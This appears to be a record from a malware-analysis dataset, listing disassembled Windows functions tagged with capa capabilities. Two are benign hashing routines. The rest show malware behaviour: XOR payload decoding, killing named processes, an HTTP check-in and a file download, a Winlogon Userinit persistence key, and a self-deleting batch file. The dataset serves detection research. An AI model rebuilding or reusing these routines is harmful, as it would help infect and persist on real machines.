joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009fcc0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ac035
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x100bf008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], edi
movzx eax, byte [edx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, ebx
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push edx
push eax
call fcn.100a0470
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1009fd4a
mov dword [edi], eax
mov byte [edi + 4], 0
jmp 0x1009fe90
cmp dword [ebx + 8], 0xfffffff
jne 0x1009fd5e
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ebx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x24], 0
call fcn.100a1296
mov ecx, dword [ebp - 0x10]
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov ecx, dword [ecx]
mov dword [esi + 8], ecx
mov byte [esi + 0xc], 0
mov dword [ebp - 4], 1
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
inc eax
movss xmm3, dword [ebx]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100b5640]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x100b5640]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, xmm3
jbe 0x1009fe43
divss xmm2, xmm3
sub esp, 8
movss dword [ebp - 0x10], xmm2
fld dword [ebp - 0x10]
fstp qword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceil
add esp, 8
fstp dword [ebp - 0x10]
movss xmm0, dword [ebp - 0x10]
call fcn.100a2580
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [ebx + 0x1c]
cmp eax, ecx
jae 0x1009fe25
cmp eax, 0x200
jae 0x1009fe23
shl eax, 3
cmp eax, ecx
jae 0x1009fe25
mov eax, ecx
push eax
mov ecx, ebx
call fcn.10072b40
push dword [ebp - 0x14]
lea eax, [esi + 8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.100a0470
mov edx, dword [eax]
jmp 0x1009fe46
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
inc dword [ebx + 8]
mov edi, dword [ebp - 0x28]
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [eax], esi
mov dword [edx + 4], esi
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x18]
and eax, dword [ebp - 0x14]
mov ebx, dword [ecx + eax*8]
cmp ebx, dword [edi]
jne 0x1009fe71
mov dword [ecx + eax*8], esi
jmp 0x1009fe83
cmp ebx, edx
jne 0x1009fe7a
mov dword [ecx + eax*8], esi
jmp 0x1009fe87
mov edx, dword [ebp - 0x10]
cmp dword [ecx + eax*8 + 4], edx
jne 0x1009fe87
mov dword [ecx + eax*8 + 4], esi
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
mov byte [edi + 4], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100a04e0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ac035
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x100bf008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], edi
movzx eax, byte [edx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, ebx
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push edx
push eax
call fcn.100a0470
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100a056a
mov dword [edi], eax
mov byte [edi + 4], 0
jmp 0x100a06b2
cmp dword [ebx + 8], 0xfffffff
jne 0x100a057e
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ebx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x24], 0
call fcn.100a1296
mov edx, dword [ebp - 0x10]
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov ecx, dword [edx]
mov edx, dword [edx + 4]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov dword [ebp - 4], 1
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
inc eax
movss xmm3, dword [ebx]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100b5640]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x100b5640]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, xmm3
jbe 0x100a0665
divss xmm2, xmm3
sub esp, 8
movss dword [ebp - 0x10], xmm2
fld dword [ebp - 0x10]
fstp qword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceil
add esp, 8
fstp dword [ebp - 0x10]
movss xmm0, dword [ebp - 0x10]
call fcn.100a2580
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [ebx + 0x1c]
cmp eax, ecx
jae 0x100a0647
cmp eax, 0x200
jae 0x100a0645
shl eax, 3
cmp eax, ecx
jae 0x100a0647
mov eax, ecx
push eax
mov ecx, ebx
call fcn.10072b40
push dword [ebp - 0x14]
lea eax, [esi + 8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.100a0470
mov edx, dword [eax]
jmp 0x100a0668
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
inc dword [ebx + 8]
mov edi, dword [ebp - 0x28]
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [eax], esi
mov dword [edx + 4], esi
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x18]
and eax, dword [ebp - 0x14]
mov ebx, dword [ecx + eax*8]
cmp ebx, dword [edi]
jne 0x100a0693
mov dword [ecx + eax*8], esi
jmp 0x100a06a5
cmp ebx, edx
jne 0x100a069c
mov dword [ecx + eax*8], esi
jmp 0x100a06a9
mov edx, dword [ebp - 0x10]
cmp dword [ecx + eax*8 + 4], edx
jne 0x100a06a9
mov dword [ecx + eax*8 + 4], esi
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
mov byte [edi + 4], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040c272
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040c272
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040c272
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040c272
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040c272
mov dword [0x41203c], eax
call fcn.0040c272
test eax, eax
jge 0x402550
push 8
call fcn.0040c272
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040c272
pop ecx
push 1
call fcn.0040c272
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040c272
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040c272
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040c272
jmp 0x402495

Function at 0x40c272
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40c281
pop dword [ebp - 0x20]
mov eax, 0x9ab8b5be
add eax, 0x65880cc3
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x36cf2
push 0
mov eax, 0xbed96a8c
sub eax, 0xbe9889b4
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x3b03e639
sub ecx, 0x3b03a92d
mov esi, eax
mov edi, 0x6f0fc5dd
sub edi, 0x6ece8a19
add edi, dword [ebp - 0x20]
mov edx, 0x7fee0e51
add edx, 0x32e2c268
xor dword [ebp - 0x1c], 0x1c00ed7
mov ebx, dword [edi]
xor dword [ebp - 0x1c], 0xbef879bb
sub ebx, edx
sub dword [ebp - 0x1c], ebx
mov dword [esi], ebx
sub dword [ebp - 8], esi
add esi, 4
add edi, 0xecc4dfb9
add edi, 0x133b204b
loop 0x40c2e0
add eax, 0x4747eb23
sub eax, 0x47470420
mov ebx, eax
add eax, 0x5360a043
add eax, 0xac9f5fc2
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 4
xor eax, eax
sub ecx, section..data
lea ecx, [ecx]
mov edx, dword [eax + section..data]
xor edx, eax
xor edx, 0x2d0
mov dword [eax + section..data], edx
inc eax
lea edx, [ecx + eax + section..data]
cmp edx, 0x2d0
jle 0x401010
xor al, al
ret

Function at 0x401040
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
mov ebp, dword [esp + 0x134]
push esi
push edi
push 0
mov ebx, 0x128
push 2
mov dword [esp + 0x18], ebx
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x4010ac
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4010a5
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x34]
push ecx
push ebp
call edi
add esp, 8
test eax, eax
je 0x4010b9
lea edx, [esp + 0x10]
push edx
push esi
mov dword [esp + 0x18], ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401083
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x401200
Capabilities:
Create http request
Get common file path
Get hostname
Read .ini file
Read data from internet
Receive data

Disassembly:
sub esp, 0x99c
push esi
push edi
push 0x12c
lea eax, [esp + 0x14c]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x1f4
lea ecx, [esp + 0x3b8]
push 0
push ecx
call sub.MSVCRT.dll_memset
lea edx, [esp + 0x2c]
push edx
call fcn.004010d0
add esp, 0x1c
push 0x12c
lea eax, [esp + 0x27c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.zmdown.cy
lea ecx, [esp + 0x27c]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x278]
push edx
push 0x12c
lea eax, [esp + 0x150]
push eax
push 0x40216c
push str.game
push str.ZMCOUNT
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea ecx, [esp + 0x48]
push ecx
mov dword [esp + 0x4c], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0xe4]
push eax
mov dword [esp + 0x18], 0x64
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov eax, dword [esp + 0x50]
push 0x40312c
lea ecx, [esp + 0x14c]
push ecx
mov ecx, dword [esp + 0x54]
lea edx, [esp + 0xe8]
push edx
push eax
push ecx
lea edx, [esp + 0x28]
push edx
push section..data
lea eax, [esp + 0x3c4]
push str._s_act1mac_sos_d._dname_sver0401game_ssign_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push 0
push 0
push 0
push 0
push str.Google_page
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
lea ecx, [esp + 0x3b8]
mov esi, eax
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea edx, [esp + 0xc]
push edx
mov edi, eax
mov dword [esp + 0x10], 0
push 0x400
lea eax, [esp + 0x5a8]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
cmp dword [esp + 0x5a0], 0x6c6c6548
jne 0x40137a
cmp byte [esp + 0x5a4], 0x6f
jne 0x40137a
xor al, al
pop edi
pop esi
add esp, 0x99c
ret
pop edi
mov al, 1
pop esi
add esp, 0x99c
ret

Function at 0x401390
Capabilities:
Check if file exists
Copy file
Get common file path

Disassembly:
sub esp, 0x258
push 0x12c
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp]
push ecx
lea edx, [esp + 0x130]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x12c
lea eax, [esp + 4]
push eax
push str.urlmon.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push str.USBhelp.dll
lea ecx, [esp + 0x130]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40142d
push 0
lea eax, [esp + 0x130]
push eax
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push str.URLDownloadToFileA
lea edx, [esp + 0x130]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4032d0], eax
test eax, eax
jne 0x401437
mov dword [0x4032d0], 0x401f90
add esp, 0x258
ret
Function at 0x401440
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x130
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [0x4032d4]
test eax, eax
je 0x401465
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push eax
push 0x12c
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str.list.cyc
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push str._1__rfa._K_CC_CLLTHKKLQ
push 0
call dword [0x4032d0]
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
test eax, eax
je 0x4014d1
lea esp, [esp]
push 0x3e8
call ebp
push 0
push 0
lea eax, [esp + 0x1c]
push eax
push str._1__rfa._K_CC_CLLTHKKLQ
push 0
call dword [0x4032d0]
test eax, eax
jne 0x4014b0
mov edi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea ecx, [esp + 0x2c]
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x401518
push 0xc8
call ebp
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea edx, [esp + 0x2c]
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4014f4
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ecx, dword [esp + 0x144]
mov edi, eax
mov eax, 0x323e34a3
mul edi
mov eax, edi
sub eax, edx
push 4
shr eax, 1
push 0x1000
add eax, edx
push edi
shr eax, 8
push 0
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push 0
push 0
push 0
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea edx, [esp + 0x14]
push edx
push edi
push ebx
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [esp + 0x10], edi
je 0x4015af
jmp 0x401580
push 0x64
call ebp
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [esp + 0x14]
push eax
push edi
push ebx
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [esp + 0x10], edi
jne 0x401580
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x130
ret

Function at 0x4015d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
push 0
mov edi, 0x128
push 2
mov dword [esp + 0x10], edi
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x401624
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], edi
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40161d
cmp ebx, dword [esp + 0x10]
je 0x40162f
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401604
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop esi
add esp, 0x128
ret
mov eax, dword [esp + 0x134]
lea edx, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x128
ret
Function at 0x4019c0
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x320
push esi
mov esi, dword [0x4032d4]
cmp byte [esi + 0x190], 0
jne 0x4019e0
mov al, 1
pop esi
add esp, 0x320
ret
push 0x12c
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.zmdown.cy
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 4]
push edx
push 0x1f4
lea eax, [esp + 0x138]
push eax
push 0x402275
push str.game
push str.ZMCOUNT
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
add esi, 0x191
lea ecx, [esp + 0x130]
push esi
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
sete al
pop esi
add esp, 0x320
ret

Function at 0x401a50
Capabilities:
Enumerate threads
Terminate thread

Disassembly:
sub esp, 0x1c
push ebp
push esi
push 0
mov ebp, 0x1c
push 4
mov dword [esp + 0x10], ebp
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x401aca
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], ebp
call sub.KERNEL32.DLL_Thread32First
test eax, eax
je 0x401ac3
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_OpenThread]
nop
mov ecx, dword [esp + 0x30]
cmp dword [esp + 0x1c], ecx
jne 0x401aae
mov edx, dword [esp + 0x18]
push edx
push 0
push 1
call edi
test eax, eax
je 0x401aae
push 1
push eax
call ebx
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], ebp
call sub.KERNEL32.DLL_Thread32Next
test eax, eax
jne 0x401a90
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
pop ebp
add esp, 0x1c
ret

Function at 0x401b10
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, 0x403140
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 1
jl 0x401b64
push edi
call fcn.00401040
add esp, 4
test eax, eax
je 0x401b59
push eax
push 0
push 1
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401b59
push 0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
add edi, 0x14
cmp edi, 0x403208
jl 0x401b26
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401b70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push ebx
push ebp
push esi
push edi
call fcn.00401000
call fcn.00401ad0
call fcn.00401b10
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0
push 0
push 0
push 0x401650
push 0
push 0
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
nop
mov esi, 0x403140
lea eax, [esi + 0xc8]
push eax
call ebx
cmp eax, 1
jl 0x401bdf
push esi
call fcn.00401040
add esp, 4
test eax, eax
jne 0x401d0f
add esi, 0x14
cmp esi, 0x403208
jl 0x401bb5
call fcn.00401200
test al, al
jne 0x401bf8
push 0x124f80
call edi
call fcn.00401200
test al, al
je 0x401be8
call fcn.00401390
lea ecx, [ecx]
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0
call fcn.00401440
add esp, 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0x2bc
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
mov dword [0x4032d4], edx
test esi, esi
jbe 0x401cf8
jmp 0x401c40
mov eax, dword [0x4032d4]
add eax, 0x12c
push eax
call ebx
test eax, eax
jne 0x401c64
mov ecx, dword [0x4032d4]
add ecx, 0x15e
push ecx
call ebx
test eax, eax
je 0x401cb8
mov eax, dword [0x4032d4]
add eax, 0x12c
push eax
call fcn.00401040
add esp, 4
test eax, eax
je 0x401c8e
mov ecx, dword [0x4032d4]
add ecx, 0x12c
push ecx
call ebx
test eax, eax
jne 0x401cb8
mov eax, dword [0x4032d4]
push 0
add eax, 0x15e
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x401cde
mov ecx, dword [0x4032d4]
add ecx, 0x15e
push ecx
call ebx
test eax, eax
je 0x401cde
call fcn.004019c0
test al, al
je 0x401cd7
mov edx, dword [0x4032d4]
push 0
push 0
push edx
push 0x401820
push 0
push 0
call ebp
push 0x3e8
call edi
push 0xc8
call edi
add dword [0x4032d4], 0x1ac
sub esi, 1
jne 0x401c40
push 0x7d0
call edi
sub dword [esp + 0x18], 1
jne 0x401c21
jmp 0x401c00
call fcn.00401200
push 0xea60
call edi
jmp 0x401bb0

Function at 0x401d20
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x1d4
mov ax, word [0x402278]
mov cl, byte [0x40227a]
push esi
push 0x104
lea edx, [esp + 0xd8]
push edx
push 0
mov word [esp + 0x10], ax
mov byte [esp + 0x12], cl
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xd8]
push ecx
mov edx, ecx
push edx
lea eax, [esp + 0x18]
push str.:try_r_ndel___s___r_n_if_exist___s__goto_try_r_n_del__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push str.c:_test.bat
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
lea eax, [esp + 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401da1
push 0
lea ecx, [esp + 0xc]
push ecx
sub eax, edx
push eax
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push str.c:_test.bat
call dword [sym.imp.KERNEL32.DLL_WinExec]
pop esi
add esp, 0x1d4
ret
Function at 0x401de0
Capabilities:
Get common file path
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
sub esp, 0x44c
push esi
push edi
push 0x104
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str._system32userinit.exe
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x150]
push str._s_s
push edx
call esi
push str._systemconime.exe
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x264]
push str._s_s
push ecx
call esi
lea edx, [esp + 0x26c]
push edx
push 0x402260
lea eax, [esp + 0x170]
push eax
lea ecx, [esp + 0x37c]
push str._s_s_s
push ecx
call esi
mov ecx, 0xd
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
lea edi, [esp + 0x40]
rep movsd dword es:[edi], dword [esi]
add esp, 0x34
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x10]
push eax
push 0x80000002
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 8]
push 0x64
lea ecx, [esp + 0x354]
push ecx
push 1
push 0
push str.Userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x44c
ret

Function at 0x401eb0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Get common file path
Terminate process

Disassembly:
sub esp, 0x258
push str.conime.exe
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
je 0x401ef1
push str.ZMDOWN
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x401ee6
call fcn.00401b70
xor eax, eax
add esp, 0x258
ret 0x10
push 0x12c
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str._systemconime.exe
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x12c
lea edx, [esp + 0x130]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x134]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00401de0
call fcn.00401d20
push 0
push 0
push 0
lea edx, [esp + 0xc]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]